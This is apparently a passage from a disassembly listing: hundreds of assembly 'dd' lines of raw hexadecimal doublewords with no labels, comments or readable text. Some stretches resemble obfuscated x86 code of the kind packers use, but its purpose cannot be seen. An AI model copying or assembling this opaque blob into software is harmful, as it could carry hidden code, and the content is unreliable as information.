dd 0D7AF5BDFh, 6A1FD2B4h, 28CCA834h, 0AF536029h, 0D7D2920Bh
dd 0E0720428h, 4A47D61h, 0E5C484FDh, 0D668970Eh, 44F88A2Eh
dd 60089A65h, 5D2198BCh, 8323B54Ah, 1FD365AEh, 1922BC47h
dd 0F0948040h, 23DCCD8Dh, 2CC5E991h, 84h, 9D6245B9h, 0A1996B0Bh
dd 0FDAD1FD3h, 0E9BE7204h, 5B078416h, 1FD3A183h, 67E26216h
dd 609AA77h, 34AA3562h, 94BCB207h, 15BF0h, 45E80000h, 0B2031D60h
dd 19BFB9Fh, 8704DC88h, 0E3971FD3h, 290C63Fh, 55ACFC18h
dd 0EBF51BC3h, 33C5E9A9h, 0DBCD267Fh, 48EC9426h, 4CA702B6h
dd 0B6F2A25Dh, 6E2EA74Bh, 0B35C73Ah, 9A714EF5h, 9ABE6239h
dd 6F6FFE08h, 950CF3B2h, 0B029D6D1h, 0B648B7F0h, 0FC73EA0Eh
dd 9FFC467Ch, 59AF9778h, 7A22B44Dh, 0A402B2D6h, 8E17CB5Dh
dd 0E25BDF71h, 0EB7D8422h, 3AA41F43h, 0CB42BFE7h, 0CD5FA007h
dd 0DE709119h, 77E1FD7Ch, 936A42EEh, 49FD1FD3h, 0B4BA8F25h
dd 4CF3F094h, 80000000h, 0EA06145h, 1FB1505Ah, 0C9588615h
dd 0E9AD24DDh, 0FEB244BDh, 60C254ABh, 0B3EFDE1h, 0A2F094BAh
dd 4Fh, 0A061452Fh, 0B34E5A0Eh, 0D32E7A3Ah, 9E841741h
dd 0A520C12h, 6941ED66h, 0FC1FD376h, 53922448h, 9F071AC4h
dd 4574EB62h, 0B5ED1D60h, 0F114F38Dh, 461BBB4Dh, 0DF1FD30Bh
dd 0ECE8A54h, 0B44B5A99h, 0B2D67E10h, 942A5D1Ch, 170F0h
dd 7CFD0000h, 0A16F47F3h, 4E021FD3h, 0A15129D5h, 30E41FD3h
dd 0B34E5C0Ch, 0C53A6D21h, 0BC22A133h, 45BC4565h, 0BB3459DEh
dd 0F0B6AE0Fh, 0D9F5315h, 3A54E59h, 21E15AFEh, 0E2C77788h
dd 0BE82F91Dh, 78416E9h, 7EA25F47h, 0F2B610E2h, 0D40A9925h
dd 2EA55A4Dh, 30C23D6Ah, 42D42B7Ch, 869B43BEh, 0A565DE21h
dd 0B86CFE03h, 0D88012EDh, 89550E34h, 0E8C9E4D1h, 0D6A34DC4h
dd 0F7097415h, 11Eh, 95A284h, 0B716DB87h, 0FC315F0h, 6840007Dh
dd 53530799h, 36E60AAEh, 0DD248271h, 0A9FEC239h, 9710C456h
dd 792FEF68h, 2A4EF688h, 45991498h, 0BD34CBDCh, 74564613h
dd 0E2C78709h, 0BFE38B1Dh, 4726h, 93A2B300h, 73FC85FEh
dd 0D3A1EFC7h, 0AACE821Fh, 0D3A2A60Eh, 0D365191Fh, 0D3A15B33h
dd 7F5FEA1Fh, 0DA5336FFh, 0E7189151h, 0A2BF27C3h, 72321FD3h
dd 16E9BC37h, 0A638DC84h, 0C574D8FEh, 60879204h, 931645BCh
dd 9F000000h, 870095A2h, 0F0BB52DBh, 4991C715h, 0A3ADD187h
dd 0D52A7F2Fh, 0BCEB9F31h, 0E2926F37h, 3AB3DC4h, 8324E85Fh
dd 7B4AEA7Ch, 8925F337h, 9B4FE11Eh, 0DD61F30Ch, 76B17C62h
dd 0A161F7E7h, 0BD65F708h, 37C09844h, 9F5325F3h, 23DCCB7Bh
dd 9FF245ACh, 0C8DD9D26h, 0D9FDA537h, 192F1B3Dh, 0A306C61Ch
dd 7F3FB85Ch, 22B4D829h, 3EC3E5A5h, 6DA982ACh, 0AE1EAC5h
dd 15924266h, 8A3AD5DEh, 0AC54E629h, 65E47608h, 5F320579h
dd 0D8183AE6h, 0FC3223Eh, 0F37C2198h, 0D3A16F47h, 2A4E021Fh
dd 0B42D60D7h, 0F998E608h, 64DD9115h, 69FB06A4h, 34E09BC1h
dd 99C0537Eh, 782FE375h, 5B4C1087h, 147212A4h, 0EA4448A4h
dd 4CD5835Bh, 0EAA2C8A0h, 26D25B44h, 44EAA24Eh, 65892DE1h
dd 940DF2B5h, 0ED04245Eh, 0EAE76941h, 2248FC44h, 0ACD0ECA2h
dd 0C9367135h, 0D9268337h, 0EF209347h, 2FFA95Dh, 18F7BC70h
dd 5AD30B8Ah, 90914DCCh, 0AD71E817h, 4FB0F9FAh, 0DF7115BDh
dd 35C0h, 0FEAA3300h, 44EAD226h, 0AC8430B9h, 3F44EAD1h
dd 6F37E78Bh, 34580092h, 0ECBC7CD1h, 0E4CF8315h, 4DF1992Bh
dd 0A15028D4h, 2FE31FD3h, 8040BD0Bh, 9C44D629h, 67451578h
dd 5354089Ah, 42661AACh, 3A792DBFh, 178F43D5h, 2A458EAh
dd 0F0B96DFFh, 0E1C97D0Fh, 0CBDA8E20h, 5286A234h, 0BF57E289h
dd 4, 835FFA01h, 148704EAh, 89515C24h, 4C181E1h, 83000000h
dd 0C8704E9h, 0C895C24h, 0E1895124h, 4C181h, 0E9830000h
dd 240C8704h, 2404895Ch, 86B95156h, 0F732877Eh, 6E1C1D9h
dd 5D7FE181h, 814140EDh, 0BD64ACE9h, 7AE98136h, 89033CC0h
dd 0F18959CEh, 4EC835Eh, 83242489h, 58042404h, 39685253h
dd 5A083525h, 8142EAD1h, 1A9295EAh, 5AD38904h, 0B89C301h
dd 24048B5Bh, 81E28952h, 4C2h, 4C28100h, 87000000h, 8B5C2414h
dd 8952240Ch, 4C281E2h, 81000000h, 4C2h, 24148700h, 4188E95Ch
dd 9B2FFF9h, 269204F7h, 973BF226h, 43A4C8BDh, 3B47B884h
dd 0C5030626h, 0A264E0FFh, 749157EEh, 723E341Bh, 42717D48h
dd 4FA31FC7h, 0A6E414B3h, 32571EADh, 29F73E59h, 0AC12501Fh
dd 371826E0h, 0CE4F253Ch, 0ACC73A2h, 859872ECh, 2A2B025Ah
dd 98426946h, 2D921F3Dh, 4BE45E42h, 1646E66h, 31D47307h
dd 0D38157Ah, 5CBD6768h, 0A3F32294h, 4EB4ACFh, 3514E0E6h
dd 4B3E9h, 25DCD000h, 44BBEAAEh, 60A109CDh, 7B8425E9h
dd 9B664004h, 171ED824h, 37FB728Fh, 581C937Ch, 763AB150h
dd 8E57CE31h, 65916915h, 0EC2419ADh, 9D624579h, 0BB466424h
dd 55510597h, 367135ACh, 84BA37C9h, 396DF17Bh, 688E36C8h
dd 0E004CAF6h, 0EC067730h, 57AAFE3Eh, 62F91A31h, 2D782CBEh
dd 0A73640D2h, 6DBDEA37h, 0D2DCE9C1h, 863D8F1Fh, 0DF919DB9h
dd 0CD79F2A6h, 1FD2C0F5h, 0B930D488h, 0D74EB3F5h, 0E01F8A4Ah
dd 659C0CBCh, 12056D3h, 569DA93Eh, 0E8CB7B9Fh, 89CEA652h
dd 0BBEA1FD3h, 0B3570B44h, 0CE108F21h, 35AC5553h, 50C93671h
dd 6DE61990h, 0D389E9C1h, 0A4C87C1Fh, 899D7212h, 0AB361FD3h
dd 0A4B10833h, 765CF094h, 0E9000000h, 0B9D6245h, 0D3A1996Bh
dd 3FCAD1Fh, 16EBBD71h, 0CFB85A84h, 0BD48BFB4h, 44E9F580h
dd 0E9528C17h, 0F094AA90h, 123Dh, 7F2BB400h, 1FD397A7h
dd 8F60863Ah, 6F87ABD0h, 7C3EA1C5h, 0A16F47F3h, 42021FD3h
dd 48F89C63h, 6911A35Eh, 0EF109545h, 2EFCA95Dh, 0D3A1AA82h
dd 8B43D1Fh, 1FD3A130h, 0C76B0FC3h, 0D7288135h, 32AC3B45h
dd 0D249B6EFh, 0EF66990Eh, 0A0614578h, 0B44B5A0Eh, 2E06B23Bh
dd 0C11FD3A1h, 0D357E90Dh, 0B9B8658h, 32F27FF6h, 350DB981h
dd 0C81FD3A1h, 9C4C7014h, 0E562F40Bh, 597D8225h, 870001A9h
dd 8D1FE0C7h, 8C7535E5h, 9C2E52FAh, 0AAFDBD3Ah, 0A21BC355h
dd 0D3A21EF6h, 0D9FDB11Fh, 8EBB805Eh, 1FF094BAh, 67h, 0A06145ACh
dd 0BF406727h, 5555099Bh, 0A1532BD7h, 32E61FD3h, 63F2FC8Eh
dd 0A854DD7Bh, 1FD3A1D0h, 0DB8BAF63h, 86892ACBh, 0FFA76BE2h
dd 54008902h, 1FD3A17Ch, 0BBF41B98h, 9D51E307h, 40C1E70Ch
dd 29A80A9Ch, 0BA4386B5h, 37EAF094h, 77000000h, 0EA06145h
dd 21B34E5Ah, 968B53E2h, 0B878F110h, 0DA8214FBh, 45C83FB6h
dd 461ECA60h, 0D91FD3A1h, 4FEF8125h, 1FD3A17Ah, 0E5568813h
dd 0F094BC94h, 139h, 6545C600h, 0A1431BC7h, 16D61FD3h
dd 34DC6E91h, 0DD5AEC90h, 0F8A4961Dh, 1FD3A220h, 375BFFB3h
dd 4DDF2087h, 7FA23CBBh, 275DD62Bh, 2585D16Bh, 8DE3B6DCh
dd 0A15E49F9h, 0CC43670Fh, 46BFD265h, 0B8DC2386h, 4A32933Fh
dd 23D715F0h, 44BBEAAAh, 76E5F21Eh, 5E825B74h, 708F18CCh
dd 8D7235F9h, 7E895BFBh, 831225F2h, 0C874FD5Bh, 25F27EF0h
dd 0FBABCF83h, 18DC53ACh, 2ADE708Fh, 2901AD7Dh, 0BC25F27Fh
dd 0C355ACFCh, 41D3771Bh, 0DCD71C8Dh, 49FD8F33h, 8D11A35Ch
dd 0E161CC12h, 0FEA97866h, 99E08A01h, 3409759Fh, 0E5h
dd 95A2C1h, 0B716DB87h, 0FC315F0h, 21DEC97Dh, 4B5D1DAAh
dd 0C5E292B6h, 0F3857C2Eh, 6115A74Bh, 0A327B946h, 3C6BB628h
dd 0D7A24CC3h, 0F6097456h, 3Ah, 7C93A283h, 951E65C8h, 1A40E87Ah
dd 0AD51E653h, 0FA208834h, 0DF931FD2h, 0F8D5AD4Dh, 0D9641FD2h
dd 4BBC7905h, 45CCDE4Eh, 2AA3472Fh, 0D334167Eh, 5ED5891Fh
dd 782Fh, 0F37CB800h, 0D3A16F47h, 2A4E021Fh, 0B42D60D7h
dd 0F0BA7F08h, 2B7EB415h, 3CA14FAFh, 16CA0327h, 28D7D084h
dd 45BAEDB1h, 204413B3h, 38C725F3h, 0D32C7BA6h, 4F42F55Ch
dd 719016D6h, 0A828D44Dh, 4B1C191Dh, 5C3E16C2h, 1DD12C19h
dd 7433E779h, 0E867F98Bh, 0DAAF88F6h, 0A34FD861h, 2C195CCBh
dd 8531AA5Eh, 2C195CADh, 0CC688C40h, 223F5A4Ch, 37C43BEFh
dd 0A9CD3277h, 95A246h, 9F5BDB87h, 0C8FE15F9h, 0F7B88AC0h
dd 50B1F991h, 0C27608ACh, 0DFA31AE5h, 5A537C8h, 0D10A1BA2h
dd 36EBF382h, 53178E71h, 6519AB54h, 7529BB44h, 1BE6C233h
dd 0AB3DE189h, 0C153BCF7h, 0FF2EB02Fh, 35ECF271h, 52168D72h
dd 0F918AA55h, 3, 4540A782h, 54089A67h, 661AAC53h, 792DBF42h
dd 8F43D53Ah, 0A458EA17h, 0B96DFF02h, 0C97D0FF0h, 0DA8E20E1h
dd 86A234CBh, 81595451h, 4C1h, 4E98300h, 5C240C87h, 81E78957h
dd 4C7h, 4EF8300h, 5C243C87h, 57243489h, 0C781E789h, 4
dd 8704EF83h, 895C243Ch, 28BE2414h, 81310D7Bh, 9275BDEEh
dd 0F4E6813Fh, 5377101Bh, 363D15BBh, 5BDE3177h, 24148B54h
dd 5504C483h, 8F55F589h, 8B5D0842h, 89572414h, 4C781E7h
dd 81000000h, 4C7h, 243C8700h, 2434FF5Ch, 4C4835Eh, 0F93C5DE9h
dd 5B35CFFFh, 2640A4B8h, 0FFC50306h, 327E2DE0h, 0C6B1116Fh
dd 0EFD71B66h, 2C99330Ch, 5EF80A4Eh, 9283F42h, 87F2647Ch
dd 0C5648161h, 0BB5C4000h, 105CA56Dh, 2C4A421Fh, 0CD03BC0Ch
dd 0D3E90464h, 0A844111h, 0A3237F33h, 219CCA3Ch, 15E095Bh
dd 0EA8D8D0Ah, 29062641h, 1F2CA58Dh, 5D8D8906h, 8B061F0Bh
dd 1F0AA5B5h, 0D9D8B06h, 0C7061F11h, 1F20C585h, 5F6C06h
dd 0C72EB200h, 1F137D85h, 6, 6E900h, 0D9290000h, 0C59E90CDh
dd 105DB5FFh, 6A061Fh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 9797C5C3h, 2BE6679h, 5995FFFBh
dd 6A061F2Dh, 4595FF00h, 8B061F1Dh, 61BEBC0h, 27300955h
dd 0B0A6F665h, 7F75608Ch, 6718BA9Eh, 138C91A2h, 0B95CB2B9h
dd 4EB0E75h, 2EA45CF2h, 4E8E9h, 857C3000h, 0A45B4A0Eh
dd 0C041692Dh, 0DB248549h, 0FB06A064h, 777E3884h, 975BD22Fh
dd 0B87CF31Ch, 0D69A11F0h, 0EEB72ED1h, 5FF1C975h, 4C8419ADh
dd 8C0E8DC3h, 25F5278Ch, 62459E01h, 4F570B9Dh, 0EEAE3BB2h
dd 722246B9h, 7149F535h, 41FD3A1h, 661AAC50h, 0CF3B241h
dd 0B52ED27Ah, 0C53C6C2Ch, 0D3A15129h, 0C30E41Fh, 20DFC67Ah
dd 0E9F5848Eh, 9F6AF6Fh, 8D7235E5h, 0AB565216h, 0BD387034h
dd 629F09EAh, 0F28428D0h, 0A42DA64Ah, 0D3A220F8h, 0DBFFB31Fh
dd 0F11E9549h, 904ECD5Fh, 73EA1791h, 0B8FBF8AFh, 8121B357h
dd 1FD3A1ACh, 3424BA45h, 0DC2798FEh, 82A67504h, 9484ADECh
dd 3040F0h, 45CD0000h, 6B0B9D62h, 1FD3A199h, 239A530h
dd 0F094BCB7h, 156h, 6045E300h, 4C590D9Fh, 3C6D21B3h, 982731C3h
dd 35CADB46h, 52ADFABEh, 614564DBh, 6E1A1294h, 1FD3A196h
dd 2DD17529h, 41BEE79Bh, 2EB02BAFh, 0D74EB3F3h, 0D96B9413h
dd 0EA7C8525h, 66D50988h, 0F094BA63h, 81802AEAh, 8A2347EFh
dd 5Ch, 94614517h, 0B55DEF12h, 0DBD89811h, 7925A234h, 1FD3A1A1h
dd 0B8DC8034h, 0C9387226h, 409E2D37h, 0C53CC5E1h, 0CA5CA501h
dd 0DA6C9316h, 56E5F978h, 0F094BA73h, 58BAh, 61454700h
dd 4E5A0EA0h, 79881EDEh, 0D3A205DDh, 0C553AB1Fh, 964030Fh
dd 0E6781CD0h, 5BC618A7h, 0C83FB64Bh, 6F47F37Ch, 21FD3A1h
dd 2B7A2A4Eh, 0CDA242D4h, 661FD3A1h, 758A1DDDh, 9C173BE3h
dd 0BCA0F942h, 0E46DF094h, 0D3AD6038h, 0D42B7C1Fh, 2AC3E79Bh
dd 1, 906545B7h, 0A155E71Ah, 0C169FB04h, 33E7791Dh, 45F98B74h
dd 441CC862h, 0D71FD3A1h, 39ED7F23h, 7E02946Dh, 0C452DB03h
dd 3A12BE47h, 0CD1FD3A1h, 647AF519h, 9B14EDBDh, 0A032CFDBh
dd 0D05DD4F8h, 0A1C39B47h, 0A2561FD3h, 890C2B7Eh, 0B7036410h
dd 0F4A815F0h, 0FFAFE562h, 4AB7F1D9h, 65EA10B8h, 8F3F63ECh
dd 0AC70E718h, 0D27204FBh, 25F2F500h, 3DE4FA89h, 5A1E956Ah
dd 0FE01A64Dh, 0FF2B86Ch, 8D31D57Dh, 9F6047FBh, 19F19D26h
dd 0AC25F2F5h, 0BE42D4F8h, 0DB248545h, 27DA149h, 27467CDCh
dd 0F321D3FEh, 0CCDB8BAFh, 35718227h, 0EE9628CCh, 5029D34Ah
dd 7D09740Eh, 102h, 95A20Ah, 0C975FE87h, 1FD3A1F1h, 9320D084h
dd 1E42EA7Ch, 0F0B6BD82h, 24B66A15h, 83B871A7h, 0FF917038h
dd 7853157h, 0B4F3A3C7h, 9710D44Bh, 8522D668h, 0E964E87Ah
dd 847B2CF5h, 5B16630Dh, 40B70974h, 44000000h, 17EABC7Ch
dd 2EC04167h, 260F6286h, 1CAE5357h, 0AB57D074h, 1FD3A343h
dd 0D07002B6h, 1FD3A1F8h, 0C975FE87h, 1FD3A1F1h, 31ACD084h
dd 2564D1ADh, 0A39800ACh, 570B1FD3h, 7CB1E0h, 0A23A0000h
dd 0DB870095h, 15F0BB52h, 7A52FE87h, 0D25F2BBh, 48FC3559h
dd 5AA502B6h, 77881FE3h, 0BC7645E5h, 258425F2h, 129448DAh
dd 4CCB5DEFh, 0D1609B92h, 6C93140Dh, 0E4A98EF5h, 0FEDFBF6Bh
dd 0B9421C18h, 18FE350Dh, 0F014C82Ch, 0BD7103B7h, 639C09EAh
dd 0F38529D1h, 8124E461h, 2044EC7Eh, 0F24539A5h, 9A7A269Fh
dd 3D223F40h, 41D32C7Dh, 42BFE999h, 0EB6408B0h, 62867B2Bh
dd 95A274EBh, 8A518700h, 5CA30652h, 55FC22CAh, 0FA739711h
dd 0CF5B171h, 1CE3C67Ah, 1A3EE28Ah, 0F90F9E7Eh, 0FB8D4115h
dd 289F6047h, 2ABC4364h, 7B2C7E8Ah, 699F2C36h, 4E970DE3h
dd 0AF2A4EAEh, 4AB5F22Fh, 689911D1h, 0B740CD44h, 0B652AFF7h
dd 4E7B11DEh, 7F8B171h, 663EEA63h, 0F94E7B11h, 36712145h
dd 0FABA37C9h, 7F2F53AEh, 0B143D52Ah, 3275AC32h, 93C956CDh
dd 0F198F41Ah, 37E70BBCh, 80FD8F70h, 9B0CE7C0h, 862AD264h
dd 0F3CB77F4h, 864E7B25h, 0EF0A2ED2h, 15h, 6AF37C78h, 0D3A1E6BEh
dd 29C5791Fh, 1FD3A151h, 0BE0C30E4h, 9A674557h, 0AC535408h
dd 0BF42661Ah, 0D53A792Dh, 0EA178F43h, 0FF02A458h, 0FF0B96Dh
dd 20E1C97Dh, 34CBDA8Eh, 236886A2h, 89000070h, 0E6892434h
dd 4C681h, 0EE830000h, 24348704h, 0E089505Ch, 405h, 42D00h
dd 4870000h, 3C895C24h, 38356824h, 1C890000h, 0FABD5524h
dd 0BF02CF4Ch, 8F58F0Fh, 3722EF81h, 0EF295C84h, 3722C781h
dd 685D5C84h, 5689h, 81242489h, 42404h, 835B0000h, 3C8904ECh
dd 8438F24h, 50241C8Bh, 405E089h, 83000000h, 48704C0h
dd 3C8B5C24h, 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h
dd 0F93691E9h, 0F5335CFFh, 716EB311h, 0BD4A5173h, 465EB85Dh
dd 0C5030626h, 0E625E0FFh, 76FE2FF1h, 98EB2449h, 0EDF7711Eh
dd 78C6022Eh, 38F368B1h, 40723E92h, 0D8977ED8h, 0F46A3B6Fh
dd 1366C08h, 1C0775EBh, 28C65A04h, 4883048Bh, 24C67761h
dd 0BC772709h, 546A18E1h, 211661C2h, 4EB37DBh, 0CF0E223h
dd 581E9h, 45BCF000h, 649B0ACEh, 808129EDh, 9B644509h
dd 0BB466024h, 373EF844h, 571B926Fh, 783CB35Ch, 965AD130h
dd 0AE77EE11h, 5AB18935h, 0C4419ADh, 0FBC04D83h, 38D63A42h
dd 6245B114h, 4F570B9Dh, 30773BB2h, 761AE7C3h, 887730E4h
dd 68E5D90Fh, 0A7D9AB75h, 0E6FB5C7Fh, 3C6206DDh, 9F546494h
dd 67F91D63h, 8C38F2B3h, 1FD356B4h, 0C6E39347h, 5BFFA739h
dd 7232BFC9h, 8A1CCC33h, 6D85377h, 451DC952h, 0D81FD356h
dd 57500024h, 3B6D31A8h, 899BE944h, 29CD032Fh, 0F09C25B2h
dd 1FD32F18h, 23D3F7ABh, 0C6397085h, 0D7DC9022h, 9514A638h
dd 31D0D849h, 4EB1F6BAh, 719E15D5h, 461BBB4Dh, 0DF1FD32Eh
dd 0E8B18A54h, 5F094CFh, 74h, 0ECBC7C92h, 0B7DB8315h, 0CD5FA007h
dd 0D5111A50h, 0E86DE48Dh, 505628C4h, 3B6A1FD3h, 0F26D0642h
dd 49ED52EFh, 5EA303B7h, 0AB33C2CCh, 14CA5582h, 94905227h
dd 17BF0h, 7C080000h, 90C7E446h, 678DD88Fh, 950E6B68h
dd 0BF6F93B9h, 7D7697E6h, 44EEB604h, 4B5A0EA0h, 3B6E22B4h
dd 992832C4h, 36C9DC45h, 0B08834BDh, 431FD2D3h, 30F46B8Fh
dd 9A118877h, 13EEBC7Ch, 5B5D981h, 1ACE60A1h, 2EE2748Bh
dd 40F48679h, 53079968h, 6F17A956h, 0B17C62E1h, 0F928B631h
dd 0A05F48ADh, 9E45C27Ah, 0FDA1589Bh, 1AE5C286h, 2BD6D488h
dd 0FABA3799h, 0B53054ABh, 0FF92F29h, 96AC4B8Dh, 3F2983AAh
dd 4DF1FE8Bh, 7AB69329h, 86F7F094h, 6E000000h, 7507FAAEh
dd 4546A9CDh, 0EB169461h, 9945CE47h, 1FD3A1C1h, 0EA7CA054h
dd 0FB8D7436h, 10A25F47h, 9AA495Ch, 0C6D06206h, 2E7AA737h
dd 9C292FD3h, 0A18F6713h, 6E221FD3h, 490FCF4Ah, 0BFE31C89h
dd 0F36A970Fh, 0F88A772Fh, 89A6544h, 0F9F329A6h, 3D1975CAh
dd 872BE4CFh, 45F6E863h, 0F094BB04h, 5BA9h, 0BC7C3600h
dd 0DB8315ECh, 629F07B7h, 698C1CD0h, 7D31C33Ch, 8E32D62Bh
dd 0B02EBDFCh, 55CC3571h, 9F6045DEh, 0A1986D0Dh, 0F7AE1FD3h
dd 0E8C27608h, 0A1C09844h, 9F531FD3h, 0F3B569FBh, 9A44D30Eh
dd 1DDD6693h, 0C13E6B88h, 607EF91Dh, 94BC9EDBh, 62FF0h
dd 0E6A60000h, 0B91C40BFh, 0A9C6545h, 35AE5156h, 3DCF3075h
dd 4DDF7195h, 991110CEh, 0AD8AF168h, 62C36FE8h, 715F0B7h
dd 9A0DC153h, 10B44D59h, 5DD60C99h, 0D881D979h, 6047F71Bh
dd 4266269Fh, 61852DBFh, 0C15D2FCFh, 57E625F2h, 0F20D9A87h
dd 43B8EE7Bh, 0B46C1732h, 6F47F36Ch, 225F2ABh, 2D7A2A4Eh
dd 7B1FE2C6h, 8D7235E9h, 0A7C5DE14h, 0CE7A2E61h, 199418AAh
dd 324B5CC5h, 3429F6ADh, 2DA44899h, 741A3683h, 137D709h
dd 0A2640000h, 0DB870095h, 15F0B716h, 0C97D0FC3h, 0E8A821DEh
dd 0A71E42BDh, 0A93BC4E3h, 6641B2F5h, 0BB5F0799h, 0B42AA529h
dd 6A433A6Dh, 85F10871h, 65EE670Bh, 0F2DCE1B9h, 9CC07425h
dd 0D2D89825h, 0D1F59D2Fh, 74797E3Bh, 5A8F09h, 7C1C0000h
dd 8214EBBCh, 0D263B6DAh, 329A46BFh, 651FD3A3h, 6DFF00A5h
dd 0B468A1C5h, 701CA522h, 1FD3A198h, 0A1673FEBh, 46FA1FD3h
dd 9935590Dh, 1FD3A1C1h, 0A133CCDDh, 0B244BDEDh, 33FAE473h
dd 0B736BF6h, 42EE672Ah, 1FD3A2DAh, 6020994Dh, 7F27B948h
dd 92B5E45Bh, 3E000000h, 7E4467Ch, 0FDFDFF90h, 7B186D9h
dd 0E0FAD27Eh, 0D98D1FD2h, 0D2E0653Dh, 9EC2F81Fh, 1D115A01h
dd 0CE47EB8Fh, 44C19945h, 0A0541FD3h, 0CE57037Ch, 4315F05Dh
dd 5E49FD8Fh, 41662AA1h, 0BD8C2CBEh, 4025F25Eh, 0B3F42DB1h
dd 9E4AD34Ch, 25F25EC6h, 0A81A559h, 880194A3h, 18A63CDCh
dd 0B22BDF1Ch, 0A6A57D29h, 84382C18h, 62AD5D4h, 7EC1F774h
dd 0E221FC41h, 0B8EF9FC3h, 0A423B547h, 1CF3443Ah, 3DAC790Ch
dd 229B3F76h, 3FA2D676h, 4EC57922h, 95A2D7h, 6A3EFE87h
dd 3FC0E797h, 45E105ADh, 15F9E8A5h, 0F2B8848h, 0F9E88B63h
dd 0C66A1E25h, 56E88C34h, 83FA05A2h, 8517E8BFh, 2E583DE5h
dd 9656E318h, 0B75FF110h, 43A4C791h, 82C1FCCh, 0D7D0518Dh
dd 0F026AF28h, 0F48E51CAh, 7E56F226h, 1130CFA9h, 367D375Dh
dd 3865A4F9h, 0CED99D14h, 0BEEB9F31h, 0ADFBAF41h, 9945C254h
dd 30D078C1h, 0B6F0A054h, 0A827B94Bh, 0EA69F736h, 2FDB64F4h
dd 30D07857h, 621236EAh, 0B643BA45h, 78A9812Dh, 874F30D0h
dd 2DB58380h, 0A6560A43h, 2ADAFE01h, 2901AD7Dh, 0BC30D091h
dd 0C153AEFCh, 3FD17519h, 320h, 40A7A900h, 89A6745h, 1AAC5354h
dd 2DBF4266h, 43D53A79h, 58EA178Fh, 6DFF02A4h, 7D0FF0B9h
dd 8E20E1C9h, 0A234CBDAh, 0E0895086h, 405h, 42D00h, 4870000h
dd 14895C24h, 0E6895624h, 4C681h, 0EE830000h, 24348704h
dd 2404895Ch, 499568h, 24148900h, 4E56BF57h, 0EF811BA4h
dd 27914B04h, 0F701C783h, 0F78147DFh, 0DCABBFBh, 685FF889h
dd 25BAh, 83242489h, 5A042404h, 4EC81h, 4890000h, 8428F24h
dd 5624148Bh, 0C681E689h, 4, 4C681h, 34870000h, 34FF5C24h
dd 0C4815824h, 4, 0F930ADE9h, 4DB80FFFh, 306264Ch, 37E0FFC5h
dd 121E8397h, 5850806Ch, 666A8377h, 2B654427h, 4C4080h
dd 473040DAh, 907807Eh, 323F14A7h, 0DE29D786h, 6E55E851h
dd 0F6317D7Dh, 5950D335h, 924E6302h, 6964D736h, 3C58C6C6h
dd 2A0388E8h, 0F66F1C47h, 3D4A1A81h, 9F361D66h, 0DA72B34Fh
dd 3371946Ch, 0EB302CB4h, 853BC604h, 4E6E914h, 0A9030000h
dd 881DE158h, 6E3C0077h, 51581C93h, 337337AEh, 510B57CEh
dd 30A75A4Ch, 51C8476Ch, 6FE61B8Dh, 8C03FCABh, 0C69E4AC3h
dd 5919AD54h, 6245AE21h, 0EF9B249Dh, 1FD3A217h, 40D2F6AAh
dd 893D8DC3h, 0F7DCF5BDh, 7E8323D3h, 0F8D07C05h, 8B1FD303h
dd 7F8027D7h, 0AA2145EDh, 0C53EC1E6h, 5751A205h, 0CC7406AAh
dd 456216A8h, 317428BAh, 0A3323CCEh, 3EC1E63Bh, 5CA503C7h
dd 7A8721E5h, 907F34E8h, 0F1ED6CFEh, 3E983167h, 0D27C2462h
dd 57AAFEAEh, 7A951EDEh, 8C1BDF56h, 6C41E173h, 821FD361h
dd 9448DA25h, 38C7E211h, 0F1700294h, 8A7534EDh, 0B02EB9E6h
dd 9B731FA8h, 2E1FD361h, 0F9C0567Ah, 14F094FCh, 51h, 9D6245A1h
dd 0A1996B0Bh, 0A5301FD3h, 465F1F39h, 5B7F27B9h, 94BCF4C5h
dd 250339F0h, 0B58851E7h, 157F014h, 0E4000000h, 14EBBC7Ch
dd 8E6540F0h, 0B058EA25h, 0DFC67A0Ch, 0CFDA8E20h, 6565E1AEh
dd 0AB4FCEADh, 5E800F19h, 0A61DE2C3h, 0C33AC5E2h, 0CB61454Ch
dd 9AA01895h, 0A8440C26h
dd 1FD315D0h, 790BAF63h, 8D1FE0C5h, 0D9D09009h, 0A06A9426h
dd 92A29C23h, 7DF81CC0h, 0FE6C061h, 0F4B6669Bh, 2FD37B0Dh
dd 4EB1F6B6h, 79F014BCh, 8A8BF2B5h, 3F09089Bh, 0A4E25871h
dd 0CB40117Eh, 0EA9224DDh, 5C10A246h, 6D21B34Eh, 8337C946h
dd 0C448DA27h, 3A989549h, 311823BBh, 7CF0948Eh, 78h, 0A0614509h
dd 0B1505A0Eh, 5886151Fh, 0AB24DDC9h, 0A19E7622h, 0F9BA1FD3h
dd 0A3DC8416h, 9054CBEFh, 0A559EB16h, 0B569FB04h, 0FF7C0EF3h
dd 0D3A17B53h, 0AA5A0E1Fh, 0DD6F0100h, 4FAD805Eh, 18BC9CD2h
dd 8F396D3Ch, 6AEEF06Bh, 0B8613834h, 78F1E5EBh, 0D2D8F4CCh
dd 0AFD3871Fh, 94733019h, 407DF0h, 450A0000h, 5A0EA061h
dd 0E221B34Eh, 0EF109555h, 938E50CBh, 77EE13h, 0D9F6045h
dd 0D3A1986Dh, 38A6311Fh, 94BCB603h, 0F3B777F0h, 0B0D47C0Eh
dd 0D17h, 5D588E00h, 320BDD33h, 52AFF9A9h, 6545CB2Eh, 51560A9Ch
dd 0B8A1CAEh, 0A55C4ED3h, 1D70C72Eh, 0B797F8A4h, 73FC15F0h
dd 0F2B6EFC7h, 0BE964225h, 5125F2B6h, 8CB0649Dh, 590D9F53h
dd 0AF38B14Eh, 0F2B72B03h, 8935BE25h, 25F2B7B1h, 73EC9044h
dd 0F2B7EFC7h, 0AACE8225h, 0C7386F33h, 0B7C39535h, 0BD4C25F2h
dd 58A70021h, 0D2AA56DFh, 6525F2B7h, 52168DB1h, 0A831AA55h
dd 0F2B824FCh, 0F3CB7725h, 8625F2B7h, 0C1E599D2h, 0D32C7B2Fh
dd 9C42BD41h, 66DD2285h, 7456FDBCh, 1371009h, 0A29D0000h
dd 0DB870095h, 15F0B716h, 7D0FC3h, 4AB6CECAh, 5B7F5901h
dd 8C03FCABh, 9A673FFFh, 8C3C6008h, 2ED1D81Bh, 0CF7BF49Ch
dd 25F37CF7h, 0A032D68Ah, 0B244BBECh, 2D2BB32Eh, 9FC33C6Dh
dd 6C3BB8EFh, 0EB78EF93h, 5F837C2Bh, 7499F0C9h, 3D1D09h
